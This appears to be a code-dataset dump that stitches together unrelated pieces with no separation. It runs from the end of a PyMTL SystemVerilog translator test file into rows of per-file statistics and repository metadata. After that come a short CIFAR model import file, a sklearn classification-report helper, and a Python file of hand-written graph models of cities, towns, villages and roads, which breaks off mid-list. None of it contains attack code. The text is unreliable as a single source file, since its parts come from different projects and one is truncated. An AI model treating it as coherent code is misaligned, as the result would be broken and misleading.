assign in_[3] = in___3;
assign in_[4] = in___4;
assign out__0 = out[0];
assign out__1 = out[1];
assign out__2 = out[2];
assign out__3 = out[3];
assign out__4 = out[4];
endmodule
"""
do_test( a )
def test_struct( do_test ):
@bitstruct
class B:
foo: Bits32
class A( Component ):
def construct( s ):
s.in_ = InPort( B )
s.out = OutPort( Bits32 )
@s.update
def upblk():
s.out = s.in_.foo
a = A()
a._ref_src = \
"""
typedef struct packed {
logic [31:0] foo;
} B;
module A
(
input logic [0:0] clk,
input B in_,
output logic [31:0] out,
input logic [0:0] reset
);
// PYMTL SOURCE:
//
// @s.update
// def upblk():
// s.out = s.in_.foo
always_comb begin : upblk
out = in_.foo;
end
endmodule
"""
a._ref_src_yosys = \
"""
module A
(
input logic [0:0] clk,
input logic [31:0] in___foo,
output logic [31:0] out,
input logic [0:0] reset
);
logic [31:0] in_;
// PYMTL SOURCE:
//
// @s.update
// def upblk():
// s.out = s.in_.foo
always_comb begin : upblk
out = in___foo;
end
assign in_[31:0] = in___foo;
endmodule
"""
do_test( a )
def test_packed_array_concat( do_test ):
@bitstruct
class B:
bar: [ Bits32 ] * 2
foo: Bits32
class A( Component ):
def construct( s ):
s.in_ = InPort( B )
s.out = OutPort( Bits96 )
@s.update
def upblk():
s.out = concat( s.in_.bar[0], s.in_.bar[1], s.in_.foo )
a = A()
a._ref_src = \
"""
typedef struct packed {
logic [1:0][31:0] bar;
logic [31:0] foo;
} B;
module A
(
input logic [0:0] clk,
input B in_,
output logic [95:0] out,
input logic [0:0] reset
);
// PYMTL SOURCE:
//
// @s.update
// def upblk():
// s.out = concat( s.in_.bar[0], s.in_.bar[1], s.in_.foo )
always_comb begin : upblk
out = { in_.bar[0], in_.bar[1], in_.foo };
end
endmodule
"""
a._ref_src_yosys = \
"""
module A
(
input logic [0:0] clk,
input logic [31:0] in___bar__0,
input logic [31:0] in___bar__1,
input logic [31:0] in___foo,
output logic [95:0] out,
input logic [0:0] reset
);
logic [31:0] in___bar [0:1];
logic [95:0] in_;
// PYMTL SOURCE:
//
// @s.update
// def upblk():
// s.out = concat( s.in_.bar[0], s.in_.bar[1], s.in_.foo )
always_comb begin : upblk
out = { in___bar[0], in___bar[1], in___foo };
end
assign in___bar[0] = in___bar__0;
assign in___bar[1] = in___bar__1;
assign in_[95:64] = in___bar__1;
assign in_[63:32] = in___bar__0;
assign in_[31:0] = in___foo;
endmodule
"""
do_test( a )
def test_nested_struct( do_test ):
@bitstruct
class C:
woof: Bits32
@bitstruct
class B:
bar: [ Bits32 ]*2
c: C
foo: Bits32
class A( Component ):
def construct( s ):
s.in_ = InPort( B )
s.out = OutPort( Bits96 )
@s.update
def upblk():
s.out = concat( s.in_.bar[0], s.in_.c.woof, s.in_.foo )
a = A()
a._ref_src = \
"""
typedef struct packed {
logic [31:0] woof;
} C;
typedef struct packed {
logic [1:0][31:0] bar;
C c;
logic [31:0] foo;
} B;
module A
(
input logic [0:0] clk,
input B in_,
output logic [95:0] out,
input logic [0:0] reset
);
// PYMTL SOURCE:
//
// @s.update
// def upblk():
// s.out = concat( s.in_.bar[0], s.in_.c.woof, s.in_.foo )
always_comb begin : upblk
out = { in_.bar[0], in_.c.woof, in_.foo };
end
endmodule
"""
a._ref_src_yosys = \
"""
module A
(
input logic [0:0] clk,
input logic [31:0] in___bar__0,
input logic [31:0] in___bar__1,
input logic [31:0] in___c__woof,
input logic [31:0] in___foo,
output logic [95:0] out,
input logic [0:0] reset
);
logic [31:0] in___bar [0:1];
logic [31:0] in___c;
logic [127:0] in_;
// PYMTL SOURCE:
//
// @s.update
// def upblk():
// s.out = concat( s.in_.bar[0], s.in_.c.woof, s.in_.foo )
always_comb begin : upblk
out = { in___bar[0], in___c__woof, in___foo };
end
assign in___bar[0] = in___bar__0;
assign in___bar[1] = in___bar__1;
assign in___c[31:0] = in___c__woof;
assign in_[127:96] = in___bar__1;
assign in_[95:64] = in___bar__0;
assign in_[63:32] = in___c__woof;
assign in_[31:0] = in___foo;
endmodule
"""
do_test( a )
def test_lambda_connect( do_test ):
class A( Component ):
def construct( s ):
s.in_ = InPort( Bits32 )
s.out = OutPort( Bits32 )
s.out //= lambda: s.in_ + Bits32(42)
a = A()
a._ref_src = \
"""
module A
(
input logic [0:0] clk,
input logic [31:0] in_,
output logic [31:0] out,
input logic [0:0] reset
);
// PYMTL SOURCE:
//
// This upblk was generated from a lambda function defined in file \
// .../pymtl3/passes/sverilog/translation/test/SVTranslator_L2_cases_test.py, line 1157:
// s.out //= lambda: s.in_ + Bits32(42)
// def _lambda__s_out(): s.out = s.in_ + Bits32(42)
always_comb begin : _lambda__s_out
out = in_ + 32'd42;
end
endmodule
"""
a._ref_src_yosys = a._ref_src
do_test( a )
#-------------------------------------------------------------------------
# Structural
#-------------------------------------------------------------------------
def test_struct_port( do_test ):
@bitstruct
class B:
foo: Bits32
class A( Component ):
def construct( s ):
s.in_ = InPort( B )
s.out = OutPort( Bits32 )
connect( s.out, s.in_.foo )
a = A()
a._ref_src = \
"""
typedef struct packed {
logic [31:0] foo;
} B;
module A
(
input logic [0:0] clk,
input B in_,
output logic [31:0] out,
input logic [0:0] reset
);
assign out = in_.foo;
endmodule
"""
a._ref_src_yosys = \
"""
module A
(
input logic [0:0] clk,
input logic [31:0] in___foo,
output logic [31:0] out,
input logic [0:0] reset
);
logic [31:0] in_;
assign in_[31:0] = in___foo;
assign out = in___foo;
endmodule
"""
do_test( a )
def test_nested_struct_port( do_test ):
@bitstruct
class C:
bar: Bits32
@bitstruct
class B:
foo: Bits32
c: C
class A( Component ):
def construct( s ):
s.in_ = InPort( B )
s.out_foo = OutPort( Bits32 )
s.out_bar = OutPort( Bits32 )
connect( s.out_foo, s.in_.foo )
connect( s.out_bar, s.in_.c.bar )
a = A()
a._ref_src = \
"""
typedef struct packed {
logic [31:0] bar;
} C;
typedef struct packed {
logic [31:0] foo;
C c;
} B;
module A
(
input logic [0:0] clk,
input B in_,
output logic [31:0] out_bar,
output logic [31:0] out_foo,
input logic [0:0] reset
);
assign out_foo = in_.foo;
assign out_bar = in_.c.bar;
endmodule
"""
a._ref_src_yosys = \
"""
module A
(
input logic [0:0] clk,
input logic [31:0] in___foo,
input logic [31:0] in___c__bar,
output logic [31:0] out_bar,
output logic [31:0] out_foo,
input logic [0:0] reset
);
logic [31:0] in___c;
logic [63:0] in_;
assign in___c[31:0] = in___c__bar;
assign in_[63:32] = in___foo;
assign in_[31:0] = in___c__bar;
assign out_foo = in___foo;
assign out_bar = in___c__bar;
endmodule
"""
do_test( a )
def test_packed_array( do_test ):
@bitstruct
class B:
foo: [ Bits32 ] * 2
class A( Component ):
def construct( s ):
s.in_ = InPort( B )
s.out = [ OutPort( Bits32 ) for _ in range(2) ]
connect( s.out[0], s.in_.foo[0] )
connect( s.out[1], s.in_.foo[1] )
a = A()
a._ref_src = \
"""
typedef struct packed {
logic [1:0][31:0] foo;
} B;
module A
(
input logic [0:0] clk,
input B in_,
output logic [31:0] out [0:1],
input logic [0:0] reset
);
assign out[0] = in_.foo[0];
assign out[1] = in_.foo[1];
endmodule
"""
a._ref_src_yosys = \
"""
module A
(
input logic [0:0] clk,
input logic [31:0] in___foo__0,
input logic [31:0] in___foo__1,
output logic [31:0] out__0,
output logic [31:0] out__1,
input logic [0:0] reset
);
logic [31:0] in___foo [0:1];
logic [63:0] in_;
logic [31:0] out [0:1];
assign in___foo[0] = in___foo__0;
assign in___foo[1] = in___foo__1;
assign in_[63:32] = in___foo__1;
assign in_[31:0] = in___foo__0;
assign out__0 = out[0];
assign out__1 = out[1];
assign out[0] = in___foo[0];
assign out[1] = in___foo[1];
endmodule
"""
do_test( a )
def test_struct_packed_array( do_test ):
@bitstruct
class C:
bar: Bits32
@bitstruct
class B:
c: [ C ] * 2
class A( Component ):
def construct( s ):
s.in_ = InPort( B )
s.out = [ OutPort( Bits32 ) for _ in range(2) ]
connect( s.out[0], s.in_.c[0].bar )
connect( s.out[1], s.in_.c[1].bar )
a = A()
a._ref_src = \
"""
typedef struct packed {
logic [31:0] bar;
} C;
typedef struct packed {
C [1:0] c;
} B;
module A
(
input logic [0:0] clk,
input B in_,
output logic [31:0] out [0:1],
input logic [0:0] reset
);
assign out[0] = in_.c[0].bar;
assign out[1] = in_.c[1].bar;
endmodule
"""
a._ref_src_yosys = \
"""
module A
(
input logic [0:0] clk,
input logic [31:0] in___c__0__bar,
input logic [31:0] in___c__1__bar,
output logic [31:0] out__0,
output logic [31:0] out__1,
input logic [0:0] reset
);
logic [31:0] in___c__bar [0:1];
logic [31:0] in___c [0:1];
logic [63:0] in_;
logic [31:0] out [0:1];
assign in___c__bar[0] = in___c__0__bar;
assign in___c[0][31:0] = in___c__0__bar;
assign in___c__bar[1] = in___c__1__bar;
assign in___c[1][31:0] = in___c__1__bar;
assign in_[63:32] = in___c__1__bar;
assign in_[31:0] = in___c__0__bar;
assign out__0 = out[0];
assign out__1 = out[1];
assign out[0] = in___c__bar[0];
assign out[1] = in___c__bar[1];
endmodule
"""
do_test( a )
def test_long_component_name( do_test ):
@bitstruct
class ThisIsABitStructWithSuperLongName:
bar: Bits32
class A( Component ):
def construct( s, T1, T2, T3, T4, T5, T6, T7 ):
s.in_ = InPort( Bits32 )
s.wire_ = Wire( Bits32 )
s.out = OutPort( Bits32 )
connect( s.in_, s.wire_ )
connect( s.wire_, s.out )
args = [ThisIsABitStructWithSuperLongName]*7
a = A(*args)
a._ref_src = \
"""
module A__a840bd1c84c05ea2
(
input logic [0:0] clk,
input logic [31:0] in_,
output logic [31:0] out,
input logic [0:0] reset
);
logic [31:0] wire_;
assign wire_ = in_;
assign out = wire_;
endmodule
"""
a._ref_src_yosys = a._ref_src
do_test( a )
| 20.552505
| 115
| 0.556587
| 4,973
| 29,945
| 3.033782
| 0.027951
| 0.034202
| 0.083781
| 0.053689
| 0.934447
| 0.91211
| 0.879234
| 0.862531
| 0.853516
| 0.839067
| 0
| 0.071836
| 0.274336
| 29,945
| 1,456
| 116
| 20.566621
| 0.622457
| 0.017532
| 0
| 0.808571
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.165714
| false
| 0.008571
| 0.014286
| 0
| 0.314286
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
634e740c774bf4265a2099a0646f82b77af8aad8
| 87
|
py
|
Python
|
Laplace_experiments/cifar/new_models/__init__.py
|
Sanaelotfi/Bayesian_model_comparison
|
c6f0da1d49374c0dda6ee743e5b02bcf3e158e96
|
[
"MIT"
] | 11
|
2022-02-24T03:41:14.000Z
|
2022-03-30T18:11:04.000Z
|
Laplace_experiments/cifar/new_models/__init__.py
|
Sanaelotfi/Bayesian_model_comparison
|
c6f0da1d49374c0dda6ee743e5b02bcf3e158e96
|
[
"MIT"
] | null | null | null |
Laplace_experiments/cifar/new_models/__init__.py
|
Sanaelotfi/Bayesian_model_comparison
|
c6f0da1d49374c0dda6ee743e5b02bcf3e158e96
|
[
"MIT"
] | null | null | null |
from .fixup_resnet_cifar import *
from .resnet_cifar import *
from .cnn_models import *
| 29
| 33
| 0.804598
| 13
| 87
| 5.076923
| 0.538462
| 0.333333
| 0.515152
| 0.636364
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.126437
| 87
| 3
| 34
| 29
| 0.868421
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
635dafec5fe5df516ca9d66cda4b4f210d3c9238
| 176
|
py
|
Python
|
webtable_recognition/evaluator.py
|
jonashering/webtable-recognition
|
23b02a6aa538b553d58ba4604c6424b6966eeb59
|
[
"MIT"
] | null | null | null |
webtable_recognition/evaluator.py
|
jonashering/webtable-recognition
|
23b02a6aa538b553d58ba4604c6424b6966eeb59
|
[
"MIT"
] | null | null | null |
webtable_recognition/evaluator.py
|
jonashering/webtable-recognition
|
23b02a6aa538b553d58ba4604c6424b6966eeb59
|
[
"MIT"
] | null | null | null |
from sklearn.metrics import classification_report
def evaluation_report(Y_true, Y_pred, classes=None):
print(classification_report(Y_true, Y_pred, target_names=classes))
| 29.333333
| 70
| 0.823864
| 25
| 176
| 5.48
| 0.64
| 0.291971
| 0.160584
| 0.175182
| 0.233577
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.096591
| 176
| 5
| 71
| 35.2
| 0.861635
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0
| 0.666667
| 0.333333
| 1
| 0
| 0
| null | 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
63844de29908bb815f16469fa3bc726580587a98
| 198,298
|
py
|
Python
|
assessments/Assignments-2/model_v3.py
|
linksdl/acs-project-krr
|
c7ee4af3faaf89e31f8c2763008ae2ccbdf6de04
|
[
"Apache-2.0"
] | null | null | null |
assessments/Assignments-2/model_v3.py
|
linksdl/acs-project-krr
|
c7ee4af3faaf89e31f8c2763008ae2ccbdf6de04
|
[
"Apache-2.0"
] | null | null | null |
assessments/Assignments-2/model_v3.py
|
linksdl/acs-project-krr
|
c7ee4af3faaf89e31f8c2763008ae2ccbdf6de04
|
[
"Apache-2.0"
] | 1
|
2020-11-22T18:05:33.000Z
|
2020-11-22T18:05:33.000Z
|
# !/usr/bin/env python
# -*- coding: utf-8 -*-
"""
@Project : acs-project-krr
@File : model_v1.py
@Author : Billy Sheng
@Contact : shengdl999links@gmail.com
@Date : 2020/11/21 10:40 上午
@Version : 1.0.0
@License : Apache License 2.0
@Desc : None
"""
MODELS = [
{
"DOMAIN": {'5', '3', '6', '7', '2', '4', '1'},
"City": {'1'},
"Town": {'3', '2'},
"Village": {'5', '6', '4', '7'},
"Road": {('2', '1'), ('3', '1'), ('3', '7'), ('5', '2'), ('2', '4'), ('1', '2'),
('2', '5'), ('3', '6'), ('7', '3'), ('4', '2'), ('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('3', '7'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '5'), ('2', '6'), ('3', '6'), ('1', '6'),
('2', '7'), ('1', '3')}
},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '4', '7'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '7'), ('2', '4'), ('1', '2'),
('2', '6'), ('6', '2'), ('7', '3'), ('5', '3'), ('4', '2'), ('1', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('3', '7'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '5'), ('2', '6'), ('3', '6'), ('1', '6'),
('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '4', '7'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('2', '4'), ('1', '2'), ('4', '2'),
('3', '6'), ('7', '2'), ('5', '3'), ('2', '7'), ('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('3', '7'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '5'), ('2', '6'), ('3', '6'), ('1', '6'),
('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '4', '7'},
"Road": {('2', '1'), ('3', '1'), ('3', '7'), ('3', '4'), ('5', '2'), ('1', '2'),
('2', '5'), ('2', '6'), ('6', '2'), ('4', '3'), ('7', '3'), ('1', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('3', '7'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '5'), ('2', '6'), ('3', '6'), ('1', '6'),
('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '4', '7'},
"Road": {('2', '1'), ('3', '1'), ('3', '4'), ('5', '2'), ('1', '2'), ('2', '5'),
('3', '6'), ('4', '3'), ('7', '2'), ('2', '7'), ('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('3', '7'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '5'), ('2', '6'), ('3', '6'), ('1', '6'),
('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '4', '7'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '4'), ('1', '2'), ('2', '6'),
('6', '2'), ('4', '3'), ('7', '2'), ('5', '3'), ('2', '7'), ('1', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('3', '7'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '5'), ('2', '6'), ('3', '6'), ('1', '6'),
('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '4'), ('3', '7'), ('3', '8'), ('5', '2'),
('1', '2'), ('2', '5'), ('2', '6'), ('6', '2'), ('8', '3'), ('7', '3'),
('1', '3'), ('4', '1')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '4'), ('3', '8'), ('5', '2'), ('1', '2'),
('2', '5'), ('3', '6'), ('7', '2'), ('8', '3'), ('6', '3'), ('2', '7'),
('1', '3'), ('4', '1')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '4'), ('3', '7'), ('5', '2'), ('8', '2'),
('2', '8'), ('1', '2'), ('2', '5'), ('3', '6'), ('6', '3'), ('7', '3'),
('1', '3'), ('4', '1')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '4'), ('3', '8'), ('1', '2'),
('2', '6'), ('6', '2'), ('7', '2'), ('8', '3'), ('5', '3'), ('2', '7'),
('1', '3'), ('4', '1')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '4'), ('3', '7'), ('8', '2'),
('2', '8'), ('1', '2'), ('2', '6'), ('6', '2'), ('5', '3'), ('7', '3'),
('1', '3'), ('4', '1')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '4'), ('8', '2'), ('2', '8'),
('1', '2'), ('3', '6'), ('7', '2'), ('5', '3'), ('6', '3'), ('2', '7'),
('1', '3'), ('4', '1')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('1', '5'), ('2', '1'), ('5', '1'), ('3', '1'), ('3', '7'), ('3', '8'),
('2', '4'), ('1', '2'), ('2', '6'), ('6', '2'), ('7', '3'), ('8', '3'),
('4', '2'), ('1', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('1', '5'), ('2', '1'), ('5', '1'), ('3', '1'), ('3', '8'), ('2', '4'),
('1', '2'), ('4', '2'), ('3', '6'), ('7', '2'), ('8', '3'), ('2', '7'),
('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('1', '5'), ('2', '1'), ('5', '1'), ('3', '1'), ('3', '7'), ('8', '2'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '6'), ('7', '3'), ('4', '2'),
('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('1', '5'), ('2', '1'), ('5', '1'), ('3', '1'), ('3', '4'), ('3', '8'),
('1', '2'), ('2', '6'), ('6', '2'), ('4', '3'), ('7', '2'), ('8', '3'),
('2', '7'), ('1', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('1', '5'), ('2', '1'), ('5', '1'), ('3', '1'), ('3', '7'), ('8', '2'),
('3', '4'), ('2', '8'), ('1', '2'), ('2', '6'), ('6', '2'), ('4', '3'),
('7', '3'), ('1', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('1', '5'), ('2', '1'), ('5', '1'), ('3', '1'), ('8', '2'), ('3', '4'),
('2', '8'), ('1', '2'), ('3', '6'), ('4', '3'), ('7', '2'), ('2', '7'),
('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('3', '7'), ('3', '8'), ('5', '2'), ('2', '4'),
('1', '2'), ('2', '5'), ('1', '6'), ('7', '3'), ('6', '1'), ('8', '3'),
('4', '2'), ('1', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '8'), ('2', '4'), ('1', '2'),
('4', '2'), ('1', '6'), ('6', '1'), ('7', '2'), ('8', '3'), ('5', '3'),
('2', '7'), ('1', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '7'), ('8', '2'), ('2', '4'),
('1', '2'), ('2', '8'), ('1', '6'), ('7', '3'), ('6', '1'), ('5', '3'),
('4', '2'), ('1', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('3', '4'), ('3', '8'), ('5', '2'), ('1', '2'),
('2', '5'), ('1', '6'), ('4', '3'), ('6', '1'), ('7', '2'), ('8', '3'),
('2', '7'), ('1', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('3', '7'), ('8', '2'), ('3', '4'), ('5', '2'),
('2', '8'), ('1', '2'), ('2', '5'), ('1', '6'), ('4', '3'), ('6', '1'),
('7', '3'), ('1', '3')},
">": {('1', '5'), ('3', '5'), ('1', '4'), ('1', '8'), ('1', '7'), ('3', '4'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '7'), ('2', '5'), ('3', '8'),
('2', '6'), ('3', '6'), ('1', '6'), ('2', '7'), ('1', '3')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '4', '8', '1'}, "City": {'1'}, "Town": {'3', '2'},
"Village": {'5', '6', '7', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('8', '2'), ('3', '4'), ('2', '8'),
('1', '2'), ('1', '6'), ('4', '3'), ('6', '1'), ('7', '2'), ('5', '3'),
('2', '7'), ('1', '3')},
